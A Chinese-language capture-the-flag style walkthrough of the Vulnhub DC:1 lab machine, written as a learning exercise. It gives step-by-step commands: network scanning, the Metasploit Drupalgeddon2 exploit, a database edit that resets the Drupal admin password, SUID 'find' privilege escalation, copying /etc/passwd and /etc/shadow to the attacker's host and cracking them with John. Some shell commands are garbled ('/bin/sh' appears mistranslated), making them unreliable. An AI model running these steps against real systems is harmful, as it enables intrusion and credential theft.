Vulnhub入门实战1-DC:1 前言
为了更好的学习Kali渗透测试相关内容,近期接触到Volunhub平台,一个免费提供漏洞靶机进行渗透测试的平台。
实验准备
DC:1靶机下载
kali系统(本实验采用kali-linux-2020-3-live-amd64-iso)
靶机导入,采用VirtualBox和VMware均可
虚拟机准备,将目标靶机DC:1和攻击机kali系统设置为在同一局域网内,本实验采用(NAT模式)
实验目的
查看DC:1的介绍
DC-1是一个专门构建的易受攻击的实验室,目的是获得渗透测试领域的经验。它的难易程度取决于您的技能和知识以及学习能力。要成功完成此挑战,您需要具备Linux技能,熟悉Linux命令行以及具有基本渗透测试工具的经验,
总共有五个标志,但是最终目标是在根目录的主目录中找到并读取该标志。您甚至不需要成为root用户即可执行此操作,但是,您将需要root特权。
实验过程
局域网扫描:sudo arp-scan -l
不知道靶机IP,故先进行arp扫描局域网。
扫描得知目标靶机DC:1的IP地址为192.168.11.142
端口扫描,进行信息收集:sudo nmap 192.168.11.142
扫描得知DC:1的TCP 22,80,111端口打开,由端口得出靶机开启了web服务。
由此得出网站采用Drupal建站,搜索Drupal得知相关信息后进行下一步
扫描漏洞,准备攻击。采用msf工具
漏洞搜索:search drupal
根据靶机的网站采用Drupal进行搜索
利用漏洞进行攻击:use exploit/unix/webapp/drupal_drupalgeddon2
可以按顺序进行攻击,最终此漏洞成功攻入
查看参数选项 show options
设置攻击域名,开始攻击。
set rhosts 192.168.11.142 exploit
提示出现Meterpreter session 1 opened ,表示攻击成功,进入靶机。
进入靶机,输入shell ,后进入shell环境,查看文件,输入ls ,找到目标文件flag1.txt
查看flag1.txt
提示做得很好,你可能需要一个配置文件,根据此提示得出目标flag2应该在一个配置文件中,根据开启的web服务可得出,下一个目标应该是web服务的配置文件。
查找www配置文件,一般查看配置文件都需要权限,此时通过python反弹一个终端获得普通用户权限:
python -c ‘import pty;pty.spawn(“/糊涂的音响/sh”)’
进入www配置文件
成功找到flag2 :
蛮力攻击和字典攻击并不是获得访问权限的唯一方法(您将需要访问权限)。这些凭证可以用来做什么?
此处提示我们需要权限,有可能是想要我们得到root权限或者是说获得drupal网站的访问权限。
尝试破解密码,登入drupal网站。
8.1根据flag2文件中数据库用户dbuser和密码R0ck3t登入数据库
8.2查看数据库内容: show databases,
进入数据库,查看表单内容 : use drupaldb ,show tables
未得到明显有用内容。
8.3尝试查询数据库 ,查询所有用户: select * from user
8.4尝试更改用户admin的密码。
在数据库更新管理源密码,加载加密脚本生成密码的hash值
php /var/www/scripts/password-hash.sh password
加密脚本位置在网站根目录下的scripts下,生成password的hash值进行替换
进行替换:update drupaldb.users set pass
=” $ S $DgNSiYzRbilwq18C5.D/pnvrvdoKncm5W xBG7AIDqwFNKDi0TJCL” where name=“admin”;
登录网站查找内容(admin password)
找到目标flag3,查看内容
特殊的PERMS将有助于查找密码-但您将需要-exec该命令来确定如何获取隐藏的内容。
提示我们获取权限来查看shadow中内容
获取root权限
SUID 是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。查找SUID文件:
find / -user root -perm -4000 -print 2>/dev/null
查找发现其中有find命令
通过find命令获得root权限: mkdir abc
find abc -exec ‘/糊涂的音响/sh’;
成功获得root权限,提权成功。
查看/etc/shadow文件
发现目标flag4
查看/etc/passwd文件
破解flag4密码
连接本地服务器,并将/etc/passwd 和/etc/shadow文件传回,进行破解。
连接本地服务器,构建ssh服务
编辑ssh配置文件,开启服务。
找到#PermitRootLogin prohibit-password,把前面的#去掉,并且将“prohibit-password”修改为yes
找到PasswordAuthentication这一行,将前面的#号注释去掉,如果后面写的是no,需要修改成yes
开启ssh服务:sudo service ssh start
传回文件,进行破解。
scp /etc/passwd kali@192.168.11.143:/home/kali/Desktop
scp /etc/shadow kali@192.168.11.143:/home/kali/Desktop
使用unshadow 命令合并文件为一个
先创建文件dopass ,进入桌面下打开终端,因传回文件在桌面。合并文件
sudo unshadow passwd shadow > dopass
进行破解,采用kali自带的john进行破解。有更简单办法可以使用别的解密。
sudo john dopass
破解获得flag4的密码为orange
登录靶机DC:1
ssh flag4@192.168.11.142
查找并查看文件 ls
提示我们用同样办法获得root权限
获取root权限
根据提示进入到/root下查看最终目标
找到最终目标,并查看内容,发现是作者的鼓励。这表示我们成功做到了渗透目标靶机的目的。 实验总结
通过对目标靶机DC:1进行攻击,使我对kali中的工具更加的熟悉,也让我更加熟悉命令的使用。
在渗透过程中,不断学习,积累经验,从而获得成长。最后如愿成功达到五个目标。
学习的过程是不断的探索,所以要继续加油!
推荐及感谢文章
Linux 提权的各种姿势总结
Kali之msf简单的漏洞利用
如何破解linux用户帐号密码一
kali 开启ssh服务
利用John the Ripper破解密码